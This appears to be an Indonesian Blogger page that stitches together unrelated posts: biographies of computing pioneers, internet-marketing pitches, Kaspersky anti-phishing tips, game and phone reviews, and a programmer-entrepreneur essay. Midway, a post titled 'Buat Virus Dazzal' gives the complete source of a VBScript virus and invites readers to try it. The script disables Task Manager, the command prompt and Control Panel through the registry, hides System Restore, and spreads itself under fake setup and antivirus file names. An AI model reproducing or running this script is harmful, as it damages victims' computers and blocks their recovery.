This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

50 Orang Terpenting Di Dunia Web


Siapa saja yang memberi pengaruh terbesar dalam jaringan online? Berdasarkan analisis PC World, terdapat tenaga broker Web, blogger, kalangan intelektual, dan pengusaha untuk menemukan kontribusi mengenai siapa yang menentukan cara pemanfaatan layanan Web orang di dunia.

Artikel ini juga dimunculkan di Sini
Download Tulisan Lengkap: abe-tokoh-web.pdf

sumber : Komunitas eLearning IlmuKomputer.Com

Charles Babbage

Mesin penghitung (Difference Engine no.1) yang ditemukan oleh Charles Babbage (1791-1871) adalah salah satu icon yang paling terkenal dalam sejarah perkembangan komputer dan merupakan kalkulator otomatis pertama. Babbage juga terkenal dengan julukan bapak komputer. The Charles Babbage Foundation memakai namanya untuk menghargai kontribusinya terhadap dunia komputer.

Download Tulisan Lengkap: sukmapurwanoto-charlesbabbage.zip

sumber : Komunitas eLearning IlmuKomputer.Com

David Packard


David Packard (1912-1996) lahir pada 7 September 1912 di Pueblo, Colorado. Packard adalah salah seorang pendiri Hewlett-Packard Company. Perusahaan ini didirikan pada tahun 1939 bersama sahabat karibnya sewaktu di Stanford University, William R. Hewlett.

Download Tulisan Lengkap : bayu-davidpackard.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Howard Aiken

Howard Aiken lahir pada 9 Maret 1900 di Hoboken, New Jersey, Amerika. Aiken adalah orang yang mencetuskan ide untuk dibuat sebuah mesin penghitung yang dapat membantu penelitian yang kemudian mesin ini diberi nama Mark I, cikal bakal komputer modern seperti yang ada saat ini. Aiken berkuliah di University of Wisconsin, Madison. Pada tahun 1939 memperoleh gelar Doktor nya dari Harvard University dan menjadi guru besar di universitas tersebut. .

Download Tulisan Lengkap: bayu-howardaiken.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Jerry Yang

Jerry Yang adalah salah satu pendiri dan pemimpin dari Yahoo!, salah satu situs terbesar di Internet. Tidak banyak informasi yang bisa didapatkan mengenai perjalanan hidup Yang. Jerry Yang dilahirkan pada tahun 1968 di Taipei, Taiwan, dengan nama Yang Chih-Yuan. Saat usianya menginjak 10 tahun, Yang Chih-Yuan dan keluarganya pindah ke Amerika, dan Yang Chih-Yuan merubah namanya menjadi Jerry Yang. Sejak saat itu, Yang dibesarkan di San Jose, California. Saat dia pertama masuk sekolah di San Jose, dia hanya memiliki satu kosakata bahasa Inggris, shoe (sepatu). Yang berkata bahwa dia adalah murid yang malas, dengan tingkat konsentrasi yang rendah. Namun, dia dapat sukses di bidang akademisnya.

Download Tulisan Lengkap: indra-jerryyang.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Bjarne Stroustrup


Bjarne Stroustrup dilahirkan di kota Aarhus Denmark tahun 1950. Ia meraih gelar Cand.Scient bidang Matematika dan Ilmu Komputer tahun 1975 dari University of Aarhus Denmark, gelar Ph.D bidang Ilmu Komputer diraihnya tahun 1979 di Cambridge University, England.

Download Tulisan Lengkap: ardi-stroustrup.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Alan Turing


Alan Mattison Turing lahir di Paddington London, 23 Juni 1912. Turing melewati awal hidupnya di sebuah rumah panti asuhan di India. Saat kembali ke Inggris tahun 1926, Turing bersekolah di Sherborne. Keingintahuannya dalam bidang matematika dan sains sangat berbading terbalik dengan minatnya dibidang Bahasa dan social.

Download Tulisan Lengkap: sukmapurwanoto-alanturing.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Bill Atkinson


Bagi anda para penggemar Apple tentu akan sangat sayang sekali jika tidak mengenal tokoh yang satu ini. Beliau adalah Bill Atkinson, programer jenius dibalik QuickDraw, MacPaint, dan HyperCard. Bill Atkinson juga merupakan anggota tim Macintosh di Apple Computer. Sebagai salah seorang arsitek software di Macintosh, Bill juga seorang menjadi pionir dalam teknik pencetakan digital dan ahli dalam color manajement . Bill telah mengembangkan profil ICC untuk Calypso Imaging Inc.

Download Tulisan Lengkap:
imron-billatkinson.zip
sumber : Komunitas eLearning IlmuKomputer.Com

Bill Gates

William Henry Gates III atau lebih terkenal dengan sebutan Bill Gates, lahir di Seatle, Washington pada tanggal 28 Oktober 1955. Ayah Bill, Bill Gates Jr., bekerja di sebuah firma hukum sebagai seorang pengacara dan ibunya, Mary, adalah seorang mantan guru. Bill adalah anak kedua dari tiga bersaudara. Sejak kecil Bill mempunyai hobi �hiking�,bahkan hingga kini pun kegiatan ini masih sering dilakukannya bila ia sedang �berpikir�.

Download Tulisan Lengkap: sukmapurwanoto-billgates.zip

sumber : Komunitas eLearning IlmuKomputer.Com

Mengenal Fitur-Fitur Baru dari Photosop CS4

Author: Johani � Published: May 13, 2009 � Category: Animasi dan Multimedia, Grafik, Disain dan Publishing

Memasuki versi yang ke CS4, adobe photosop telah mengembangkan berbagai fasilitas dan fitur-fitur baru, dalam penulisan kali ini saya akan menulis sedikit Perkenalan Fitur-fitur terbaru yang di tawarkan oleh adobe photosop cs4 ini. Dan dengan fasilitas-fasilitas ini tentunya anda tertarik untuk segera memiliki Photosop versi terbaru ini.

Download Tulisan Lengkap : johani-mengenal-fitur-fitur-baru-di-photosop-cs4.zip

Cara Menjual Apapun di Internet untuk Pasar Internasional atau Internet Marketing Indonesia

Kita ingin ahli dalam berbisnis di internet ?, dan ingin :

  • Menjadi pakar internet marketing indonesia yang bisa berjualan apapun di internet, bahkan jualan produk yang sangat sulit pun bisa
  • Punya segudang ide dalam menentukan bisnis internet marketing yang akan di tekuni
  • Mendapatkan penghasilan yang banyak dari bisnis internet marketing khususnya untuk warga Indonesia banyak yang tidak tahu mengenai tambang emas di bisnis ini

Dalam pelajaran kali ini saya akan sharing sedikit kepada anda bagaimana cara :

  • Mencari ide untuk bisnis di internet

Tidak punya ide untuk berbisnis di internet ???, jikalau sudah menonton video ini, maka ribuan ide akan kita dapatkan , pasti ;)

  • Penjelasan niche market

Seperti hukum ekonomi, di dunia forum internet marketing pun berlaku hukum permintaan banyak pemasokan sedikit, begitu pula di pasar internet marketing indonesia, bagaimana detailnya ???

  • Trik mendapatkan niche market

Untuk bisa memenangkan pasar, kita harus mencari niche market, bagaimana cara mendapatkannya dengan cara yang gampang ???, akan dijelaskan disini�

  • Strategi pemilihan nama domain

Nama domain apa yang dicintai dan disenangi oleh search engine terutama google ???,kita akan membahasnya disini

Sebenarnya ke-4 pelajaran di atas merupakan pondasi yang sangat penting dalam berbisnis internet, khususnya google adsense, jika kita bisa menguasai ke-4 pelajaran tadi, maka kita akan menjadi master internet marketing apalagi pasar forum internet marketing indonesia

Download Tulisan Lengkap :

kakusorg-cari-ide-untuk-bisnis-di-internet.zip
Penjelasan-niche-market.zip
Trik-Niche-Market
strategi-pemilihan-nama-domain.zip

10 Tips Mencegah Serangan Phising

Rabu, 27 Mei 2009 | 17:00 WIB

JAKARTA, KOMPAS.com - Serangan phising atau jerat dunia maya belakangan ini menyerang pengguna Facebook. Satu-satunya cara mengatasi serangan yang memanfaatkan celah kelemahan sosial pengguna adalah dengan melakukan sikap hati-hati.

Dalam serangan tersebut penyebar phising berusaha mengambil alih akun Facebook dengan mengirimkan link halaman website palsu yang tampilannya benar-benar mirip Facebook. Bergitu pengguna Facebook terjebak dan dengan sukarela memasukkan nama logon dan password, otomatis informasi tersebut akan masuk ke data si penjahat dan akan dimanfaatkan untuk kepentingannya sendiri seperti menyebar spam alias iklan sampah ke akun-akun lain yang saling terkait.

Kaspersky lab memperkirakan distribusi kode jahat melalui situs jejaring sosial ini 10 kali lebih efektif menginfeksi dibandingkan dengan penyebaran melalui email. Sebab, pengguna internet jauh lebih tertarik untuk mengklik sebuah link yang diterima dari teman mereka, dibandingkan link dari pesan spam yang random.

"Tetap waspada dan lakukan tindakan pencegahan yang tepat merupakan kunci untuk tidak masuk ke dalam perangkap mereka," ujar David Emm, anggota dari Tim Penelitian dan Analisa Global Kaspersky Lab.

Berikut 10 tips Kaspersky Lab untuk mencegah dari serangan phising:

1. Untuk situs sosial seperti Facebook, buat bookmark untuk halaman login atau mengetik URL www.facebook.com secara langsung di browser address bar.
2. Jangan mengklik link pada pesan email.
3. Hanya mengetik data rahasia pada website yang aman.
4. Mengecek akun bank Anda secara regular dan melaporkan apapun yang mencurigakan kepada bank Anda.
5. Kenali tanda giveaway yang ada dalam email phising:
- Jika hal itu tidak ditujukan secara personal kepada anda.
- Jika anda bukan satu-satunya penerima email.
- Jika terdapat kesalahan ejaan, tata bahasa atau sintaks yang buruk atau kekakuan lainnya dalam penggunaan bahasa. Biasanya ini dilakukan penyebar phising untuk mencegah filtering.
6. Menginstall software untuk kemanan internet dan tetap mengupdate antivirus.
7. Menginstall patch keamanan.
8. Waspada terhadap email dan pesan instan yang tidak diminta.
9. Berhati-hati ketika login yang meminta hak Administrator. Cermati alamat URL-nya yang ada di address bar.
10. Back up data anda.



CRYSIS WARHEAD

FPS

:CRYSIS: WARHEAD adalah sebuah standalone expansion dari game Crysis. Karena bersifat standalone, artinya Anda tak membutuhkan game orisinalnya untuk dapat memainkan game ini. Crysis: Warhead sendiri mengambil setting cerita yang paralel dengan cerita versi orisinalnya. Jika dalam Crysis Anda bermain sebagai Nomad, maka dalam Crysis: Warhead Anda berperan sebagai Psycho alias Sergeant Sykes. Jika memainkan game pertamanya, Anda mungkin masih ingat bahwa Psycho sempat menghilang menjelang pertengahan permainan dan muncul lagi menjelang akhir. Nah, expansion ini mengisahkan sepak-terjang Psycho saat ia berpisah dengan Nomad.


Dengan kurun waktu setahun antara ver-si orisinal dan expansion, wajar jika Anda berharap ada penyempurnaan pada game ini. Dan Crytek berhasil mengerjakan PR-nya dengan baik. Meski perbedaannya tidak mencolok, kualitas gra? k sesungguhnya telah mengalami peningkatan. Hal sama juga terjadi pada peningkatan AI (Arti? cial Intelligent) musuh, terutama AI Alien. Alien kini terasa lebih cerdas dibanding sebelumnya. Alhasil permainan pun jadi lebih menantang.

Meski begitu, gameplay tidak banyak berubah dari sebelumnya�itupun jika tak mau dibilang sama. Seperti halnya Nomad, Psycho juga menggunakan nano suit canggih. Anda bisa menggunakan beberapa mode suit, seperti Maximum Armor, Maximum Strength, Maximum Speed, dan Cloak. Mode suit bisa diaktifkan sesuai dengan tuntutan permainan ataupun gaya bermain Anda. Bagi yang senang menyerang diam-diam, bisa memanfaatkan mode Cloak untuk menghilang sementara dan menembaki musuh dengan sniper. Bagi yang suka huru-hara, Anda bisa memanfaatkan semuanya, menghilang dan menyelinap ke tengah musuh, aktifkan mode Strength untuk membereskan musuh dengan tinju, lalu segera aktifkan mode speed untuk kabur secepatnya.

Seperti game sebelumnya, Anda juga bisa memanfaatkan beberapa kendaraan perang. Ambil alih jeep atau truk musuh, dan manfaatkan mounting turret-nya untuk menghabisi mereka ataupun sekadaruntuk menghemat waktu daripada cuma berjalan kaki. Satu hal yang membuat game ini menarik adalah pada karakter Psycho. Tokoh satu ini digambarkan jauh lebih urakan dibanding Nomad. Ia tak segan mengabaikan perintah dan bertindak menurut caranya sendiri. Ini membuat alur cerita menjadi menarik diikuti.

Bagi Anda yang khawatir akan persyaratan spesi?kasi minimum yang diminta, perlu diketahui bahwa Crysis sebenarnya cukup bersahabat.�Mardi Hartanto

DATA TEKNIS

Electronic Arts/ Crytek

Perusahaan

Kebutuhan minimum

Multiplayer

Website

TOMBOL

Left Mouse Button

Right Mouse Button

V

Space

LeftShift

Left Ctrl

Z

C

R

F

Microsoft Windows XP/ Vista, Intel P4 2.8 GHz/Core

2 Duo 2.0GHz/Athlon 2800+ (XP) P4 3.2 GHz/ Core

2 Duo 2.2/Athlon 3200+ (Vista) , 1 GB (XP) 1.5 GB

(Vista) RAM, nVidia 6800GT/ ATI Radeon 9800 Pro

256 MB, 12 GB Harddisk space.

LAN/ Internet.

www.crysiswarhead.com

Shoot.

Zom/Alt? re/View Mode.

Suit menu.

Jump.

Run.

Duck.

prone.

Customization.

Reload.

Interact.

PLUS / MINUS

+ Peningkatan kualitas gra?k dan AI, karakter Psycho yang kuat.

- Gameplay agak linear dan nyaris tak berubah dibanding sebelumnya.

BLACKBERRY STORM

[4/2/2009]

RESEARCH IN MOTION atau RIM, akhirnya merilis ponsel pintar yang telah banyak dibicarakan, BlackBerry Storm.

BlackBerry Storm merupakan ponsel touch-screen pertama dari RIM, lebih dari itu, BlackBerry Storm menawarkan sebuah ?tur touchscreen �clickable�, yang membuat pengguna dapat merasakan tombol ditekan layaknya ponsel yang menggunakan tombol.

BlackBerry Storm dilengkapi dengan layar TFT 3.25 inci dengan resolusi 480x360 pixel, keyboard on-screen QWERTY pada modus landscape dan Sure Type QWERTY pada modus portrait.

Untuk mendukung Anda yang gemar berpergian, BlackBerry Storm dilengkapi dengan built-in GPS, full HTML browser, push e-mail, dan Data Viz Documents to Go.

Kamera digital pada BlackBerry Storm memliki resolusi besar, 3,2 megapixels dengan sistem otomatis fokus, variable zoom, geotagging, dan ?ash.

BlackBerry Storm mempunyai dimensi mirip dengan ponsel fenomenal besutan Apple, iPhone, yakni 4,43x2,45x0,55 inci, beratnya mencapai 155 gram dan kemampuan baterainya dapat mendukung percakapan selama 5,5 jam dan waktu stand-by 15 hari.

Selain dengan Apple iPhone, Blackberry Storm nantinya akan berhadapan langsung dengan HTC Dream yang mengusung operating system Android milik Google.

SPORE

[30/1/2009]

SIMULASI / STRATEGY

INGAT teori evolusi Darwin? Tak soal apakah Anda termasuk yang pro atau kontra atas teori itu, juga tidak perlu dipermasalahkan kebenaran asal-usul nenek moyang kita yang konon punya hubungan kekerabatan dengan kera. Relevansi teori tersebut dengan artikel ini hanya pada fakta bahwa Spore meng-anut teori evolusi sebagai benang merah yang mengikat keseluruhan permainan. Jangan khawatir, akhir evolusi bukanlah manusia melainkan makhluk-makhluk ajaib yang hadir dari kreasi dan imajinasi Anda.

Kekuatan utama Spore memang pada opsi penciptaan makhluk-makhluk itu. Inovasi Creature Creator yang dikembangkan EA dan Maxis patut diacungi dua jempol. Hampir semua bagian tubuh bisa dikustomisasi. Anda bisa menempatkan bagian tubuh di manapun. Ekstremnya, Anda bahkan bisa menaruh mata di�maaf�pantat.

Tak hanya itu, bagian tubuh yang tersedia juga masih dapat dikustomisasi lagi. Sebagai contoh, Anda bisa membentuk tulang punggung sehingga makhluk Anda berdiri tegak, bongkok, dan sebagainya.

Permainan dalam Spore dibagi dalam 5 stage. Stage pertama adalah Cell. Anda bisa memilih menjadi carnivore (pemakan daging) atau herbivore (pemakan tumbuhan).

Selanjutnya, Anda hanya perlu berenang menghindari pemangsa sembari mencari makanan dan part baru. Setelah cukup, tinggal cari pasangan untuk menciptakan makhluk baru dari part yang ditemukan. Stage kedua (Creature Stage) adalah saat makhluk Anda berevolusi ke darat. Gameplay jadi sedikit lebih kompleks, di mana Anda punya opsi untuk berteman atau malah menjadikan makhluk lain yang ada sebagai musuh. Sedangkan pada stage berikutnya (Tribal Stage), Anda tak lagi bisa mengendalikan makhluk ciptaan Anda secara individual melainkan dalam suatu kawanan mirip game RTS.

Kemiripan ini semakin menjadi pada stage selanjutnya, stage keempat (Civili-zation Stage) dan kelima (Space Stage). Stage empat mengizinkan Anda menciptakan kendaraan tempur darat, laut, dan udara layaknya di Creature Creator. Sedangkan, stage terakhir memungkinkan ras makhluk Anda keluar dari planetnya dan menaklukkan dunia. Stage terakhir akan semakin menarik apabila game Anda terhubung dengan Internet. Di situ, Anda bisa bertemu dan menaklukkan berbagai planet yang dihuni oleh makhluk hasil kreasi pemain lain dari seluruh dunia.

Dengan gameplay variatif-nya, Spore potensial memikat pecinta game simulasi (Sim) dan strategi. Namun, hal sebaliknya juga bisa terjadi karena pecinta simulasi praktis hanya terpuaskan pada stage awal,sedangkan pecinta strategi justru pada stage akhir.�Mardi Hartanto

DATA TEKNIS

Electronic Arts/ Maxis

Perusahaan

Kebutuhan minimum

Multiplayer

Website

TOMBOL

Left Mouse Button

W, A, S, D

Right Mouse Button

Scroll Mouse

Microsoft Windows XP/ Vista, Intel P4 2.0 GHz,

512MB (XP) 768 MB (Vista) RAM, 128 MB Video card

with support for Pixel Shader 2.0, 4 GB Harddisk

space with at least 1GB additional space for creations.

Internet.

www.spore.com

Move/ Give Direction.

Move.

Pitch & Rotate Camera.

Zoom In/ Out.

PLUS / MINUS

+ Creature Creator, opsi kustomisasi yang sangat lengkap, kualitas suara bagus.

- Gameplay relatif sederhana dan agak tanggung.


Buat Virus Dazzal

Bagi anda yang ingin coba buat virus ini saya beri contoh salah satu script virus yang tak terlalu berbahaya. Script ini saya dapat dari blog seseorang. Tapi virus script ini tidak boleh di salah gunakan dan hanya untuk education saja. Ok. Selamat mencoba.

Script Virus Dazzal.vbs

================================================== ==============
'SCRIPT VIRUS DAZZAL.VBS

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate.vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12")
FSO.CreateFolder ("D:\Program")
FSO.CreateFolder ("E:\Program")
FSO.CreateFolder ("F:\Program")
FSO.CreateFolder ("G:\Program")
FSO.CreateFolder ("H:\Program")
FSO.CreateFolder ("I:\Program")
FSO.CreateFolder ("J:\Program")
FSO.CreateFolder ("K:\Program")

Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")

set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\Hantu.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\Dajjal_Antivirus.exe.vbs")
Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs")
Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs")
Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs")
Dupler.Copy ("F:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("I:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("J:\Program\Project.vbs")
Dupler.Copy ("K:\Program\Hantu.vbs")

Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\Hantu.vbs")

Untuk Script Yang lain, link ke www.zzzrrr.multiply.com

5 Langkah Menjadi Programmer Entrepreneur

by Romi Satria Wahono

programmerlegend

Hari Kamis, 19 Pebruari 2009, saya diminta mengisi satu sesi tentang entrepreneurship di PHP Developers Day 2009 yang diadakan di PDII LIPI Jl Gatot Subroto 10, Jakarta. Supaya unik, presentasi saya beri judul Programmer Entrepreneur. Inti dari presentasi saya adalah uraian tentang kiat dan langkah menjadi programmer yang berkarakter entrepreneur. Wacana ini perlu saya berikan karena saya pikir trend programmer di Indonesia, relatif lebih memilih bekerja di sebuah perusahaan yang established, daripada menempuh jalur wirausaha. Saya berharap para programmer berkarakter kuli, mulai pelan-pelan berubah menjadi programmer yang berjiwa entrepreneur dan memiliki kemampuan bisnis yang memadai. Materi saya kembangkan dan sesuaikan dengan judul posting ini, yaitu 5 Langkah Menjadi Programmer Entrepreneur. Tertarik?


1. FIGHT FOR CODELINE FREEDOM!

Programming adalah kemampuan dasar yang wajib dimiliki oleh seorang programmer dan mahasiswa computing. Dalam IEEE Computing 2005, kemampuan coding dan mengembangkan software menjadi titik sentral, yang disentuh semua jurusan computing, baik itu Computer Science (CS), Software Engineering (SE), Information System (IS), Information Technology (IT) ataupun Computer Engineering (CE). Mahasiswa computing tanpa bisa coding, bagaikan garam tanpa asinnya :) Perdjoeangan untuk mencapai kebebasan baris kode, membawa arti bahwa kita tidak stress melihat 1000 baris kode suatu program. Dan juga, tidak boleh masuk rumah sakit kena tipus, kalau harus melototin 10000 baris kode :) Pertanyaan yang sangat sering datang ke saya dari mahasiswa jurusan computing adalah, bagaimana supaya bisa mahir coding? Jawaban saya, kiatnya cuma ada 5, yaitu: latihan, latihan, latihan, latihan dan latihan :D

Yakinlah bahwa bangku kuliah tidak cukup. Dan janganlah pernah mengeluh wahai para mahasiswa, karena tidak hanya di Indonesia, mahasiswa di luar negeripun tetap tidak akan bisa mahir coding, kalau hanya mengandalkan jam mata kuliah pemrograman. Saya juga dulu harus keluar masuk berbagai software house di Jepang dan bahkan sempat 6 tahun part time di perusahaan game Activision, supaya bisa menebarkan dan menyematkan berbagai teori dan konsep pemrograman ke ujung-ujung jari, kulit dan otak saya.

2. BROWSING FOR LEARNING AND RESEARCHING

Lakukan shift-paradigm pada perilaku kita. Tancapkan ke dalam benak kita yang paling dalam, bahwa kegiatan web browsing bukan hanya ajang klik URL asal-asalan, kegiatan selingan, iseng atau aktifitas di kala senggang. Mengakses Internet adalah sebuah investasi. Detik demi detik waktu yang kita pakai untuk nginternet, akan dikonversi dalam bentuk rupiah pada saat kita keluar warnet atau menutup koneksi internet kita. Manfaatkan kegiatan browsing untuk banyak belajar dan meneliti. Ketika mengunjungi Alexa.Com, jangan hanya terperangah dengan posisi rangking kaskus.us, friendster.com, facebook.com atau detik.com, tapi usahakan untuk sambil mengumpulkan data kunjungan Internet Indonesia. Rangkumkan datanya dalam bentuk tabel, kategorisasikan, olah dan analisa dengan berbagai teknik statistik. Manfaatkan berbagai forum yang betebaran di dunia maya untuk belajar, bagaimana mengembangkan software dan game yang bisa kita jual, ataupun berbisnis di Internet. Ketika kita menggunakan aplikasi facebook dan friendster, arahkan strum otak kita untuk memikirkan genre aplikasi dan game apa yang saat ini nge-trend di facebook atau friendster. Pelajari kelebihan dan kelemahannya.

3. CREATE A �KREATIFITAS MAYA�!

Gunakan berbagai data dan hasil analisa yang kita dapatkan pada saat browsing untuk mulai sedikit demi sedikit membangun kreatifitas maya. Ingatlah bahwa produk-produk legendaris tidak langsung menjadi besar, perlu proses yang lama. Matt Mullenweg sang founder Wordpress, juga mengawali jalan legendanya dengan sesuatu yang sangat dasar, karena ingin belajar PHP. Jerry Yang, akhirnya menseriusi bisnis mesin pencarinya, mesekipun diawali dengan aktifitas mengumpulkan link URL. Demikian juga dengan Blake Ross dengan Mozilla Firefoxnya, Mark Zuckerberg dengan Facebook-nya, Steve Chen dan Chad Hurley dengan Youtube-nya, Pierre Omidyar dengan eBay-nya, dan Tom Anderson dengan MySpace-nya. Kemampuan coding akan mempercepat proses implementasi ide, yang kita rumuskan dari hasil analisa dan penelitian kita tentang trend layanan web. Saya membangun IlmuKomputer.Com juga sebenarnya tidak asal bangun, tapi mulai dari learning dan researching tentang layanan untuk mahasiswa yang benar-benar bisa menjadi solusi bagi mahasiswa. Saya mulai dari survey ke ratusan mailing list dan forum. Termasuk mencari data yang valid, siapa sebenarnya pengguna Internet yang populasinya besar saat itu.

4. BLOGGING FOR PERSONAL BRANDING

Kreatifitas maya yang dahsyat dan menggunakan teknologi canggih, tidak ada artinya apabila tidak diperkenalkan ke publik. Karena itu kita perlu latih kemampuan menulis kita, yang bisa kita mulai dengan menggunakan blog. Para programmer yang notabene adalah seorang spesialis, dituntut kedepannya berkemampuan versatilist, yang bisa menawarkan diri dan menjual kemampuannya dengan baik. Ngeblog alias blogging sekaligus jadi cara yang maknyus untuk personal branding lewat dunia maya. Saat ini personal branding lewat blogging adalah jalan yang sangat cepat dan efektif, bahkan melebihi personal branding lewat koran dan media cetak. Pengguna Internet Indonesia yang mencapai 25 juta, mungkin hanya kalah oleh TV. Dan saya yakin, tidak semua dari kita punya kelebihan uang untuk melakukan aktifitas narsistik lewat 30 detik iklan di TV yang mencapai nilai ratusan juta rupiah. Sekali lagi, personal branding lewat blogging adalah jalan yang lebih efektif, efisien, nyata alias tidak ngoyoworo bin aya aya wae :). Sayapun menempuh jalan ini untuk memperkenalkan diri, IlmuKomputer.Com dan juga bisnis yang saya buat seperti Brainmatics.Com.

5. BE AN ENTREPRENEUR!

Ketika kondisi sudah mapan, dan sudah mulai banyak yang menghubungi kita untuk kerjasama mengembangkan berbagai proyek dan kegiatan. Mulai pikirkan untuk masuk jalur entrepreneur formal lewat bisnis dalam bentuk yang lebih nyata. Dirikan PT atau CV, sewa kantor, ajak anak-anak muda yang cerdas nan militan untuk bergabung dengan kita. Jangan lupa didik mereka dengan baik dan bijak. Beri mereka kesempatan untuk mengembangkan diri dan mengembangkan ilmu. Beri beasiswa untuk melanjutkan sekolah apabila dirasa memang sang pegawai berprestasi. Beri mereka kepercayaan, mulai delegasikan wewenang dan tugas, dan jangan pernah beranggapan bahwa semua harus kita kerjakan sendiri.

Saya juga dibantu para pedjoeang-pedjoeang muda dalam melakukan aktifitas di dunia maya dan bisnis. Menarik kalau kapan-kapan coba mampir ke markas IlmuKomputer.com, yang sekaligus sebagai kantor Brainmatics.Com di Menara Bidakara. Ada Mansyur, Training Manager kita yang gesit dan jaim. Mansyur alias Acun ini sebenarnya baru berumur 20 tahun dan duduk di semester 3 bangku kuliah S1. Tapi menakjubkan, karena miliaran omzet perusahaan dihasilkan dari tangan dinginnya. Ada mulyana, sang Technical Manager yang cerdas tapi dingin, plus cenderung psikopat. Saat ini baru berumur 19 tahun, bahkan belum lulus SMA dan harus ujian bulan April ini. Ada lagi Eman, sang Financial Manager kita, pemilik IPK 3.8 yang selalu tampil keren dan harum meskipun sedikit agak jablai ini, juga baru berumur 20 tahun. Adalagi Tanto, yang jadi PJ project eLearning kita di Merpati Airlines, laki-laki setia yang jago makan ini juga belum menikah :)

Sapalah para pedjoeangku ini, dan ajaklah mereka berdiskusi. Aku yakin tidak ada yang bisa mengalahkan laskar pelangiku ini dalam kuantitas dan kualitas kerja. Mereka bangun sebelum orang lain bangun, dan tidur setelah orang lain tidur. Dan cintapun tak akan bisa membunuh mereka, paling cuman bikin diem ajah 3 hari 3 malam hihihi. Mereka sangat paham bahwa mendapatkan pendidikan adalah sebuah perdjoeangan, dan hidup dari keringat sendiri adalah suatu kebanggaan. Para pedjoeangku ini masih terlalu muda dan mungkin miskin ilmu, karena itu ajarilah mereka ilmu pengetahuan. Tapi belajarlah dari mereka hakekat perdjoeangan dan mintalah sebuah peta harta harun kepada mereka � yaitu peta jalan cinta para legenda.

Wahai para pemuda, janganlah pernah mau jadi pecundang, berebutlah untuk menjadi legenda. Kuingin kau tahu, jalan legenda terbuka lebar, bagi siapa saja yang mau berusaha dan berdjoeang. Dan tidak semua orang yang punya kemampuan bisa menjadi legenda, karena menjadi legenda adalah sebuah pilihan, bukan karena kemampuan.

Sambutlah pagi hari dengan riang dan tataplah mentari pagi dengan lantang. Jangan lupa ucapkan, �I am legend!� � believe me you will be legend :)

Tetap dalam perdjoeangan!

ttd-small.jpg


Teknik Memahami Paper Ilmiah

paperSaya sedang dapat tugas dari dosen untuk membaca banyak paper ilmiah. Katanya penting untuk membangun landasan teori dari penelitian yang saya lakukan. Tapi pusing setengah mati mas, ga paham-paham :( Mas Romi bisa ajari saya nggak, teknik membaca paper ilmiah dengan baik, supaya cepat paham? Thanks. (Anto, ITS Surabaya)

Musim mengerjakan tugas akhir, artinya musim membaca makalah alias paper ilmiah alias scientific paper. Banyak yang beranggapan bahwa konsentrasi membaca paper ilmiah adalah pada aspek teknis (technical aspect).

